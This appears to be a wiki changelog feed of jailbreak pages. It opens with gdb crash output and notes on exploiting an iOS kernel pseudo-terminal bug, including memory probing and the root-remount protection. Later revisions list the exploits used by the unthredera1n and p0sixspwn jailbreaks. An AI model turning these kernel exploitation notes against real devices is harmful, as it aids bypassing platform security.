    #3  0xffffff8024bb4eab in vn_open_auth (ndp=0xffffff8225cb3b70, fmodep=0xffffff8225cb3adc, vap=0xffffff8225cb3d08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_vnops.c:591&lt;br /&gt;
    #4  0xffffff8024b9d8db in open1 (ctx=0xffffff8035bcdd08, ndp=0xffffff8225cb3b70, uflags=0x601, vap=0xffffff8225cb3d08, fp_zalloc=0xffffff8024ecf0b0 &amp;lt;fileproc_alloc_init&amp;gt;, cra=0x0, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3067&lt;br /&gt;
    #5  0xffffff8024b9e684 in open_nocancel (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3345&lt;br /&gt;
    #6  0xffffff8024b9e4fc in open (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3326&lt;br /&gt;
    #7  0xffffff8024fa3828 in unix_syscall64 (state=0xffffff8035c3a910) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/dev/i386/systemcalls.c:370&lt;br /&gt;
    &lt;br /&gt;
    gdb$ i r&lt;br /&gt;
    rax            0xdeadbeefdeadbeef	0xdeadbeefdeadbeef&lt;br /&gt;
    rbx            0xffffff80367ea168	0xffffff80367ea168&lt;br /&gt;
    rcx            0xffffff8033ec8788	0xffffff8033ec8788&lt;br /&gt;
    rdx            0x10	0x10&lt;br /&gt;
    rsi            0x0	0x0&lt;br /&gt;
    rdi            0x10	0x10&lt;br /&gt;
    rbp            0xffffff8225cb3870	0xffffff8225cb3870&lt;br /&gt;
    rsp            0xffffff8225cb3840	0xffffff8225cb3840&lt;br /&gt;
    r8             0x402	0x402&lt;br /&gt;
    r9             0x1	0x1&lt;br /&gt;
    r10            0xffffff80327c6220	0xffffff80327c6220&lt;br /&gt;
    r11            0x0	0x0&lt;br /&gt;
    r12            0xffffff8225cb3fc0	0xffffff8225cb3fc0&lt;br /&gt;
    r13            0x7f9190c045b0	0x7f9190c045b0&lt;br /&gt;
    r14            0xffffffff	0xffffffff&lt;br /&gt;
    r15            0xffffff8035c3a910	0xffffff8035c3a910&lt;br /&gt;
    rip            0xffffff8024f35fbc	0xffffff8024f35fbc &amp;lt;ptsd_open+76&amp;gt;&lt;br /&gt;
    eflags         0x10282	0x10282&lt;br /&gt;
    cs             0x8	0x8&lt;br /&gt;
    ss             0x0	0x0&lt;br /&gt;
    ds             0x0	0x0&lt;br /&gt;
    es             0x0	0x0&lt;br /&gt;
    fs             0xdead0000	0xdead0000&lt;br /&gt;
    gs             0xdead0000	0xdead0000&lt;br /&gt;
&lt;br /&gt;
	it was trying to read in the value of _state.pis_ioctl_list[10].&lt;br /&gt;
    &lt;br /&gt;
    gdb$ print _state.pis_ioctl_list[10]&lt;br /&gt;
    $1 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef&lt;br /&gt;
&lt;br /&gt;
    gdb$ print pti&lt;br /&gt;
    $2 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef&lt;br /&gt;
&lt;br /&gt;
	It crashes here before dereferenceing the tty structure at the beginning of the ptmx_ioctl structure. We must know it's an address, but we also leak a bit near the address if it is an address. We should also be able to retrieve the value of all these state variables it sets from variable bits wherever the pointer is at to see if it's the correct pointer or not.&lt;br /&gt;
    &lt;br /&gt;
    571 * 		if (!(pti-&amp;gt;pt_flags &amp;amp; PF_UNLOCKED)) {&lt;br /&gt;
    572			return (EAGAIN);&lt;br /&gt;
    573		}&lt;br /&gt;
    574	&lt;br /&gt;
    575		tp = pti-&amp;gt;pt_tty;&lt;br /&gt;
    576		tty_lock(tp);&lt;br /&gt;
    577	&lt;br /&gt;
    578		if ((tp-&amp;gt;t_state &amp;amp; TS_ISOPEN) == 0) {&lt;br /&gt;
    579			termioschars(&amp;amp;tp-&amp;gt;t_termios);	/* Set up default chars */&lt;br /&gt;
	    &lt;br /&gt;
	Examine the read, write, and select apis for these terminals to learn all you can do. ioctl calls might also be interesting. Also since it uses the tty zone for allocating this devices, it might be a very predictable zone if we can control all the pseudo terminals. Also checking out return values based on flags in structs can be a good way to feel around in memory.&lt;br /&gt;
    &lt;br /&gt;
	New in iOS 7.0 security protections, you are now no longer allowed to remount the root partition as readable/writeable. Before we just change the /etc/fstab file to remount the filesystems, but now there is a special kernel check preventing root filesystem from being remounted. Also the user filesystem containing all the data is mounted to disallow super user files, and device nodes. Luckily, if we can remount the user filesystem to reallow superuser and device node files we can create this device node and launch the kernel exploit on iOS7.&lt;br /&gt;
&lt;br /&gt;
== See Also ==&lt;br /&gt;
* [[evad3rs]]&lt;br /&gt;
* [[evasi0n]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Unthredera1n&amp;diff=40107</id>
		<title>Unthredera1n</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Unthredera1n&amp;diff=40107"/>
		<updated>2014-02-24T21:08:23Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Added source code&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''[http://unthreadedjb.com unthredera1n]''' is an [[untethered jailbreak]] for [[n18ap|iPod touch 3G]], [[iPhone 3GS]] and [[A4]] devices except [[k66ap|Apple TV 2G]] running iOS 4.3.4, 4.3.5, 5.0, 5.0.1, 5.1 and 5.1.1. It is currently available for Linux (x86_64) and OS X. Not much is currently known about this tool. &lt;br /&gt;
&lt;br /&gt;
== unthredeh4il ==&lt;br /&gt;
[[unthredera1n|unthredeh4il]] is an improved version of [[unthredera1n]] for [[n18ap|iPod touch 3G]], [[iPhone 3GS]] and [[A4]] devices including [[K66ap|Apple TV 2G]] running iOS 4.2.6, 4.2.7, 4.2.8, 4.2.9, 4.2.10, 4.3, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 5.0, 5.0.1, 5.1 and 5.1.1 including Apple TV OS versions: 4.2, 4.2.1, 4.3 (all versions), 4.4, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 5.0, and 5.0.1. This is still an [[untethered jailbreak]].&lt;br /&gt;
&lt;br /&gt;
== Controversy ==&lt;br /&gt;
On Reddit, where [http://www.reddit.com/r/jailbreak/comments/1j4u02/we_hav_releese_isounthreadedjb_redy_4_dl/cbbapvp planetbeing and saurik discussed unthredera1n], saurik said:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
The program is custom; it is using the Rocky Racoon packet filter kernel exploit, but the evasi0n amfid bypass. I verified this somewhat by glancing at the binary (opens /dev/pf, etc.), but they also say this explicitly in some strings inside of the binary (which might be output when it runs or something) and in a hidden readme file.&lt;br /&gt;
From .REAL_USAGE:&lt;br /&gt;
&amp;lt;blockquote&amp;gt;Thanks to @Chronic-Dev/@planetbeing/@posixninja for the original rocky-raccon pf kernel exploit. Thanks to @evad3rs for their awesome MobileBackup2 stuff. It worked really well on this.&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
From jb binary:&lt;br /&gt;
&amp;lt;blockquote&amp;gt;WE R NOT #FAKR, UNTHREADEDJB IS REEL tanks 2 @planetbeing n @posixninja n @chronicdev for #explot code in rkcy raccon :) :) :) krnl patchs from #opensn0w ))&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
*MobileBackup2&lt;br /&gt;
*AMFI.dylib&lt;br /&gt;
*launchd.conf&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
* [http://pastie.org/8255242 unthredeh4il supported firmwares/devices]&lt;br /&gt;
* [https://github.com/Malvix/isounthreadedjb Github source code ]&lt;br /&gt;
* [http://www.reddit.com/r/jailbreak/comments/1kjddw/we_r_relees_ful_src_code_of_unthreaddra1n_clasic/cbplh58 Comments from planetbeing and Saurik]&lt;br /&gt;
&lt;br /&gt;
{{stub|jailbreaking}}&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Unthredera1n&amp;diff=38477</id>
		<title>Unthredera1n</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Unthredera1n&amp;diff=38477"/>
		<updated>2014-01-01T16:34:54Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''[http://unthreadedjb.com unthredera1n]''' is an [[untethered jailbreak]] for [[n18ap|iPod touch 3G]], [[iPhone 3GS]] and [[A4]] devices except [[k66ap|Apple TV 2G]] running iOS 4.3.4, 4.3.5, 5.0, 5.0.1, 5.1 and 5.1.1. It is currently available for Linux (x86_64) and OS X. Not much is currently known about this tool. &lt;br /&gt;
&lt;br /&gt;
== unthredeh4il ==&lt;br /&gt;
[[unthredera1n|unthredeh4il]] is an improved version of [[unthredera1n]] for [[n18ap|iPod touch 3G]], [[iPhone 3GS]] and [[A4]] devices including [[K66ap|Apple TV 2G]] running iOS 4.2.6, 4.2.7, 4.2.8, 4.2.9, 4.2.10, 4.3, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 5.0, 5.0.1, 5.1 and 5.1.1 including Apple TV OS versions: 4.2, 4.2.1, 4.3 (all versions), 4.4, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 5.0, and 5.0.1. This is still an [[untethered jailbreak]].&lt;br /&gt;
&lt;br /&gt;
== Controversy ==&lt;br /&gt;
On Reddit, where [http://www.reddit.com/r/jailbreak/comments/1j4u02/we_hav_releese_isounthreadedjb_redy_4_dl/cbbapvp planetbeing and saurik discussed unthredera1n], saurik said:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
The program is custom; it is using the Rocky Racoon packet filter kernel exploit, but the evasi0n amfid bypass. I verified this somewhat by glancing at the binary (opens /dev/pf, etc.), but they also say this explicitly in some strings inside of the binary (which might be output when it runs or something) and in a hidden readme file.&lt;br /&gt;
From .REAL_USAGE:&lt;br /&gt;
&amp;lt;blockquote&amp;gt;Thanks to @Chronic-Dev/@planetbeing/@posixninja for the original rocky-raccon pf kernel exploit. Thanks to @evad3rs for their awesome MobileBackup2 stuff. It worked really well on this.&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
From jb binary:&lt;br /&gt;
&amp;lt;blockquote&amp;gt;WE R NOT #FAKR, UNTHREADEDJB IS REEL tanks 2 @planetbeing n @posixninja n @chronicdev for #explot code in rkcy raccon :) :) :) krnl patchs from #opensn0w ))&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
*MobileBackup2&lt;br /&gt;
*AMFI.dylib&lt;br /&gt;
*launchd.conf&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
* [http://pastie.org/8255242 unthredeh4il supported firmwares/devices]&lt;br /&gt;
* [https://github.com/UnthreadedJB/isounthreadedjb Github source code (down now)]&lt;br /&gt;
* [http://www.reddit.com/r/jailbreak/comments/1kjddw/we_r_relees_ful_src_code_of_unthreaddra1n_clasic/cbplh58 Comments from planetbeing and Saurik]&lt;br /&gt;
&lt;br /&gt;
{{stub|jailbreaking}}&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38468</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38468"/>
		<updated>2014-01-01T12:15:33Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Exploits */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5, except for Apple TV 3. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows version is coming soon.&lt;br /&gt;
&lt;br /&gt;
==Changelog==&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
&lt;br /&gt;
== Download ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|Mac OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with iPod touch 5 not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
&lt;br /&gt;
* P0SIX_SPWN_DISABLE_ASLR   &lt;br /&gt;
* P0SIX_SPWN_ALLOW_DATA_EXEC   &lt;br /&gt;
* MobileBackup2 Injection Vector  &lt;br /&gt;
* CS_ENFORCEMENT_DISABLE   &lt;br /&gt;
* Root Mount exploit   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38467</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38467"/>
		<updated>2014-01-01T12:15:12Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Exploits */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5, except for Apple TV 3. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows version is coming soon.&lt;br /&gt;
&lt;br /&gt;
==Changelog==&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
&lt;br /&gt;
== Download ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|Mac OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with iPod touch 5 not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
&lt;br /&gt;
* P0SIX_SPWN_DISABLE_ASLR   (found by i0n1c)&lt;br /&gt;
* P0SIX_SPWN_ALLOW_DATA_EXEC   (found by i0n1c)&lt;br /&gt;
* MobileBackup2 Injection Vector  (used in evasi0n)&lt;br /&gt;
* CS_ENFORCEMENT_DISABLE   (used in evasi0n7)&lt;br /&gt;
* Root Mount exploit   (used in Spirit Jailbreak by comex)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38466</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38466"/>
		<updated>2014-01-01T12:14:55Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Exploits = */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5, except for Apple TV 3. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows version is coming soon.&lt;br /&gt;
&lt;br /&gt;
==Changelog==&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
&lt;br /&gt;
== Download ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|Mac OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with iPod touch 5 not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
&lt;br /&gt;
* P0SIX_SPWN_DISABLE_ASLR (found by i0n1c)&lt;br /&gt;
* P0SIX_SPWN_ALLOW_DATA_EXEC (found by i0n1c)&lt;br /&gt;
* MobileBackup2 Injection Vector (used in evasi0n)&lt;br /&gt;
* CS_ENFORCEMENT_DISABLE (used in evasi0n7)&lt;br /&gt;
* Root Mount exploit (used in Spirit Jailbreak by comex)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38465</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=38465"/>
		<updated>2014-01-01T12:14:41Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5, except for Apple TV 3. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows version is coming soon.&lt;br /&gt;
&lt;br /&gt;
==Changelog==&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
&lt;br /&gt;
== Download ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|Mac OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with iPod touch 5 not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]&lt;br /&gt;
| class=&amp;quot;nobborderplz&amp;quot; rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
&lt;br /&gt;
== Exploits ===&lt;br /&gt;
&lt;br /&gt;
* P0SIX_SPWN_DISABLE_ASLR (found by i0n1c)&lt;br /&gt;
* P0SIX_SPWN_ALLOW_DATA_EXEC (found by i0n1c)&lt;br /&gt;
* MobileBackup2 Injection Vector (used in evasi0n)&lt;br /&gt;
* CS_ENFORCEMENT_DISABLE (used in evasi0n7)&lt;br /&gt;
* Root Mount exploit (used in Spirit Jailbreak by comex)&lt;br /&gt;
